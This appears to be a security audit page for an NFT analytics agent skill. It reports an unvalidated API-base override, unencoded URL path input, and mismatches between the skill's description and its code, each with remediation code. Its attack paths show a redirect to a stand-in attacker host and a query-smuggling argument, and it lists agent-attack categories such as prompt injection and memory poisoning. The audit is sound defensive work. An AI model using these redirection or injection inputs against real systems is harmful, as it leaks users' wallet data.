Back to skill

Security audit

SUPAH NFT Intelligence

Security checks for vulnerabilities and agentic risk

Overview

This paid NFT analytics skill is mostly purpose-aligned, but it has under-scoped network/payment behavior and can be redirected to an undeclared API host through an environment variable.

Review before installing. The skill sends wallet addresses or collection identifiers to SUPAH's API and may incur x402 USDC charges. Only use it where payment approval is explicit, and avoid setting SUPAH_API_BASE unless you fully trust the destination. The artifact does not show local persistence or destructive behavior, but its declared network/payment scope should be tightened.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Warning
Location
index.js:6
Finding
Unrestricted API Base Override Bypasses the Declared Outbound Network Boundary<![CDATA[ ## Vulnerability Details **File Location**: `index.js:6-12` **Vulnerability Type**: Unvalidated outbound destination / configurable data exfiltration endpoint **Risk Level**: Medium ### Vulnerable Code ```js const https = require('https'); const API = process.env.SUPAH_API_BASE || 'https://api.supah.ai'; function api(path, params = {}) { return new Promise((resolve, reject) => { const qs = new URLSearchParams(params).toString(); https.get(`${API}${path}${qs ? '?' + qs : ''}`, { headers: { 'User-Agent': 'OpenClaw-SUPAH-NFT/1.2.0' } }, res => { let d = ''; res.on('data', c => d += c); res.on('end', () => { try { resolve(JSON.parse(d)); } catch (e) { resolve({ error: 'Invalid response' }); } }); }).on('error', reject); }); } ``` ### Technical Analysis The skill metadata declares `api.supah.ai` as its outbound network destination, but the implementation permits `SUPAH_API_BASE` to replace that destination with an arbitrary value. No URL parsing, hostname validation, or allowlist enforcement is performed before the value is passed to `https.get()`. Consequently, a compromised or incorrectly configured runtime environment can redirect collection names, NFT contract addresses, and wallet addresses to an unintended HTTPS server. This bypasses the network boundary represented by the skill metadata and makes the actual data recipient dependent on mutable environment configuration. This is not a direct credential or private-key disclosure because the implementation does not read or transmit such values. Exploitation also requires influence over the process environment or deployment configuration. ### Attack Path 1. An attacker gains the ability to modify the environment used to launch the skill, such as through a compromised deployment configuration or wrapper process. 2. The attacker sets: ```bash SUPAH_API_BASE=https://attacker.example ``` 3. A user invokes a command containing identifying data: ```bash supa ...[truncated 792 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Prefer a fixed API origin when deployment-time customization is unnecessary: ```js const API = new URL('https://api.supah.ai'); ``` - If an override is required, parse and validate it before use: ```js const configuredApi = new URL( process.env.SUPAH_API_BASE || 'https://api.supah.ai' ); if ( configuredApi.protocol !== 'https:' || configuredApi.hostname !== 'api.supah.ai' || configuredApi.username || configuredApi.password ) { throw new Error('Invalid SUPAH API endpoint'); } ``` - Construct request URLs with the `URL` API rather than string concatenation. - Enforce the same hostname allowlist at the runtime or sandbox network layer so environment configuration cannot bypass the declared outbound policy. - If alternate hosts are legitimately supported, document them explicitly and allowlist exact trusted hostnames rather than accepting arbitrary origins. ]]>

T09 · Insecure Skill Coding Practices

Note
Location
index.js:29
Finding
Untrusted CLI Input Is Concatenated into API URL Paths Without Encoding<![CDATA[ ## Vulnerability Details **File Location**: `index.js:29-36` **Vulnerability Type**: URL path and query manipulation **Risk Level**: Low ### Vulnerable Code ```js const cmd = args[0]; const input = args.slice(1).join(' '); const endpoint = cmd === 'floor' ? `/agent/v1/nft/floor/${input}` : cmd === 'track' ? `/agent/v1/nft/track/${input}` : cmd === 'value' ? `/agent/v1/nft/portfolio/${input}` : cmd === 'alerts' ? `/agent/v1/nft/alerts/${input}` : null; if (!endpoint) { console.log('Unknown command. Run without arguments for help.'); return; } const res = await api(endpoint); ``` ### Technical Analysis The command argument is treated as a URL path segment but is inserted into the endpoint without validation or percent-encoding. Reserved URL characters such as `/`, `?`, and `#` can therefore change the structure or semantics of the generated URL rather than being treated as literal collection or wallet data. For example, `?` can terminate the intended path and introduce attacker-selected query parameters, while `/` can create additional path segments. The precise backend effect depends on the routes and parameters supported by the configured API. The finding does not establish that the remote service exposes privileged routes, but the client fails to preserve the intended endpoint boundary. ### Attack Path 1. An attacker causes a crafted value to be passed as a collection or wallet argument, for example: ```bash supah-nfts floor 'collection?mode=alternate' ``` 2. The implementation concatenates the value directly into the endpoint: ```text /agent/v1/nft/floor/collection?mode=alternate ``` 3. The API receives `mode=alternate` as a query parameter rather than as part of the collection identifier. 4. A value containing `/` can similarly introduce additional path segments and potentially select unintended backend route behavior. 5. Any resulting operation remains constrained to th ...[truncated 653 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Validate inputs according to each command: - Require strict hexadecimal address syntax for wallet and contract-address inputs. - Apply documented length and character limits to collection identifiers. - Reject control characters, URL delimiters, and unexpected whitespace. - Encode every dynamic path segment: ```js const rawInput = args.slice(1).join(' '); const input = encodeURIComponent(rawInput); ``` - Prefer structured URL construction: ```js const url = new URL(API); url.pathname = `/agent/v1/nft/portfolio/${encodeURIComponent(rawInput)}`; ``` - Do not permit a user-controlled value to supply complete paths or query strings. - Add tests covering `/`, `?`, `#`, `%2f`, spaces, Unicode input, empty values, and overlong arguments. ]]>
Vulnerability Patterns
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Findings (5)

Tp4

High
Category
MCP Tool Poisoning
Confidence
94% confidence
Finding
The code’s primary purpose is NFT intelligence-related and broadly aligned with collection tracking and portfolio valuation. However, the declared description specifically includes whale monitoring and discovering undervalued collections, while the supplied code only exposes four commands: floor, track, value, and alerts, each forwarding to corresponding remote API endpoints. There is no visible implementation or endpoint for whale tracking or undervalued-collection discovery in this chunk. Additionally, the code exposes sale alerts, which is an undeclared capability relative to the description. Therefore the description does not accurately represent the actual behavior of the supplied code chunk.

Lp3

Medium
Category
MCP Least Privilege
Confidence
83% confidence
Finding
The skill declares environment-variable requirements and executable/network-related capabilities in metadata, but does not define an explicit tool scope such as permissions or allowed-tools. That makes the operational boundary ambiguous, increasing the chance an agent grants broader execution or secret access than intended. In a paid networked skill, unclear scope can expose env data or enable unintended outbound actions.

Vague Triggers

Medium
Confidence
91% confidence
Finding
The usage examples are broad and could cause over-eager activation for vague user prompts, especially in agents that auto-route by semantic similarity. In this skill, broad triggers are more concerning because each call can initiate paid x402 network requests to an external service, creating a risk of unintended spending or unnecessary disclosure of wallet/address data.

Intent-Code Divergence

Medium
Confidence
98% confidence
Finding
The module comment explicitly says all access occurs via x402 USDC micropayments on Base with no API keys. However, the implementation only issues unauthenticated HTTPS GET requests and contains no logic for payment negotiation, x402 handling, wallet interaction, or transaction authorization.

Description-Behavior Mismatch

Medium
Confidence
95% confidence
Finding
The manifest describes a broader NFT intelligence capability including whale monitoring and discovering undervalued collections. In the implementation, the CLI only maps commands to floor price lookup, floor tracking, portfolio valuation, and sale alerts, with no code path for whale monitoring or undervaluation discovery.

Static analysis

No suspicious patterns detected.